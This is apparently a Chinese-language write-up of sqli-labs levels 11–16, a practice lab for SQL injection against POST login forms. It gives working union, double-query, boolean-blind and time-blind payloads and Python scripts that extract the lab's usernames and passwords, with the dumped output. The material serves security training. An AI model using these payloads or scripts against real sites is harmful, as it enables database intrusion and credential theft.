sqli-labs less11-16

LESS 11 基于字符串的注入（POST）

在username栏输入单引号’测试,结果：

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’ and password=’’ LIMIT 0,1’ at line 1

猜测查询语句为：select * from users where username = ‘$username’ and password=’$password’ LIMIT 0,1
于是乎构造payload：

Username : 0’ union select group_concat(username),group_concat(password) from users#
Password :

结果：

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4
Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4

LESS 12 基于双引号字符串的注入（POST）

和上一关的不同在于字符串被双引号和括号包围，通过报错讯息可以知道
payload如下：

Username : 0”) union select group_concat(username),group_concat(password) from users#
Password :

LESS 13 双查询注入（POST）

通过报错信息可以知道字符串被一对单引号和一对括号包围，但是成功后不显示信息，只会显示报错信息，于是使用双查询注入：

Username : 0’) union select count(), CONCAT_WS(CHAR(32,58,32),(select count() from users),floor(rand()*2)) as a from users group by a#
Password :

结果：

Duplicate entry ‘13 : 1’ for key ‘group_key’’

可以构造脚本爆表:

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-13/"

i = 0
while(i < 13):
    data = {"uname":"0') union select count(*), CONCAT_WS(CHAR(32,124,32),(select username from users limit "+str(i)+",1),(select password from users limit "+str(i)+",1),floor(rand()*2)) as a from users group by a#", "passwd":""}
    response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
    info = re.search(r"[^']+\s\|\s[^\s]+?", response)
    if(info == None):
        i -= 1
    else:
        print(info.group())
    i += 1

结果：

Dumb | Dumb | 0
Angelina | I-kill-you | 1
Dummy | p@ssword | 0
secure | crappy | 1
stupid | stupidity | 1
superman | genious | 0
batman | mob!le | 1
admin | admin | 0
admin1 | admin1 | 0
admin2 | admin2 | 1
admin3 | admin3 | 1
dhakkan | dumbo | 1
admin4 | admin4 | 0

LESS 14 双引号双查询注入（POST）

除了把单引号括号改成双引号外和上一关没什么区别，payload：

Username : 0” union select count(), CONCAT_WS(CHAR(32,58,32),(select count() from users),floor(rand()*2)) as a from users group by a#
Password :

其他的和十三关都是一样的

LESS 15 基于布尔的盲注（POST）

POST盲注，第七关的脚本拿过来改一下即可：

from urllib import request
from urllib import parse
import re

url = "http://localhost/sqli-labs-master/Less-15/"

def getLength(value):
    length = 0
    while True:
        data = {"uname":"' or length("+str(value)+")="+str(length)+"#", "passwd":""}
        response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
        if (re.search("slap", response)):
            length += 1
        else:
            return length

def getName(value):
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            data = {"uname":"' or ascii(substr(" + value + "," + str(n+1) + "))<" + str(a) + "#", "passwd":""}
            response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
            if (re.search("slap", response)):
                data["uname"] = "' or ascii(substr(" + value + "," + str(n+1) + "))=" + str(a) + "#"
                response = request.urlopen(url, parse.urlencode(data).encode()).read().decode()
                if (re.search("slap", response)):
                    a += b
                else:
                    dbname = dbname + chr(a)
                    break
            else:
                a -= b
    return dbname

print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

结果和第八关一样

LESS 16 基于时间的盲注（POST）

结合第九关的脚本，再改一下上一关的脚本就成了本关的脚本：

from urllib import request
from urllib import parse
import time

url = "http://localhost/sqli-labs-master/Less-15/"

def getLength(value):
    length = 0
    while True:
        data = {"uname":"' or if(length("+value+")="+str(length)+",sleep(0.1),1)#", "passwd":""}
        t = time.time()
        request.urlopen(url, parse.urlencode(data).encode()).read().decode()
        if (time.time()-t <= 0.1):
            length += 1
        else:
            return length

def getName(value):
    dbname = ""
    for n in range(getLength(value)):
        a = 64
        b = 64
        #使用二分法构造动态参数
        while True:
            b = int(b/2)
            data = {"uname":"' or if(ascii(substr("+value+","+str(n+1)+"))<"+str(a)+",sleep(0.1),1)#", "passwd":""}
            t = time.time()
            request.urlopen(url, parse.urlencode(data).encode()).read().decode()
            if (time.time()-t <= 0.1):
                data["uname"] = "' or if(ascii(substr("+value+","+str(n+1)+"))="+str(a)+",sleep(0.1),1)#"
                t = time.time()
                request.urlopen(url, parse.urlencode(data).encode()).read().decode()
                if (time.time()-t <= 0.1):
                    a += b
                else:
                    dbname = dbname + chr(a)
                    break
            else:
                a -= b
    return dbname

print(getName("(select group_concat(username) from users)"))
print(getName("(select group_concat(password) from users)"))

速度太慢，不知道有什么好的改进方法